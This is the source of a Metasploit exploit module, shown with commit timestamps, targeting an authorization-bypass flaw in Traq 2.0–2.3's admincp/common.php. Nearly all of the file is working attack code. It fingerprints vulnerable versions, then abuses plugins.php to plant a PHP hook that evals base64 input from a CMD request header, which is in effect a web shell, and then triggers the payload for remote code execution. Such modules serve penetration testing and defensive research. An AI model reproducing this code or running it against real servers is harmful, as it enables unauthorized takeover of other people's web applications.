metasploit-framework/modules/exploits/multi/http/traq_plugin_exec.rb

104 lines
2.9 KiB
Ruby
Raw Normal View History

2014-01-22 17:23:18 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = ExcellentRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 21:28:54 +00:00
def initialize(info={})
super(update_info(info,
'Name' => 'Traq admincp/common.php Remote Code Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in
Traq 2.0 to 2.3. It's in the admincp/common.php script.
2015-03-20 01:19:46 +00:00
This function is called in each script located in the /admicp/ directory to
2013-08-30 21:28:54 +00:00
make sure the user has admin rights, but this is a broken authorization
2015-03-20 01:19:46 +00:00
schema due to the header() function doesn't stop the execution flow.
This can be exploited by malicious users to execute admin functionality.
e.g. execution of arbitrary PHP code leveraging of plugins.php functionality.
2013-08-30 21:28:54 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'EgiX', # Vulnerability discovery and exploit
'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit Module
],
'References' =>
[
[ 'OSVDB', '77556'],
[ 'EDB', '18213' ],
[ 'URL', 'http://traqproject.org/' ],
],
'Privileged' => false,
'Payload' =>
{
'Keys' => ['php'],
'Space' => 4000,
'DisableNops' => true,
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', {} ]],
'DisclosureDate' => 'Dec 12 2011',
'DefaultTarget' => 0))
2013-08-30 21:28:54 +00:00
register_options(
[
OptString.new('URI', [true, "The path to the Traq installation", "/"]),
],self.class)
end
2013-08-30 21:28:54 +00:00
def check
uri = normalize_uri(datastore['URI'], "admincp", "login.php")
2013-08-30 21:28:54 +00:00
res = send_request_raw(
{
'uri'=> uri
}, 25)
2013-08-30 21:28:54 +00:00
if (res and res.body =~ /Powered by Traq 2.[0-3]/ )
return Exploit::CheckCode::Appears
2013-08-30 21:28:54 +00:00
end
return Exploit::CheckCode::Safe
end
2013-08-30 21:28:54 +00:00
def exploit
p = Rex::Text.encode_base64(payload.encoded)
2013-08-30 21:28:54 +00:00
uri = normalize_uri(datastore['URI'], "admincp", "plugins.php") + "?newhook"
2013-08-30 21:28:54 +00:00
res = send_request_cgi(
{
'method' => 'POST',
'uri' => uri,
'vars_post' =>
{
'plugin_id' => '1',
'title' => '1',
'execorder' => '0',
'hook' => 'template_footer',
'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;'
}
}, 25)
2013-08-30 21:28:54 +00:00
uri = normalize_uri(datastore['URI'], "index.php")
2013-08-30 21:28:54 +00:00
res = send_request_cgi(
{
'method' => 'GET',
'uri' => uri,
'headers' =>
{
'CMD' => p,
'Connection' => 'Close',
},
}, 25)
end
end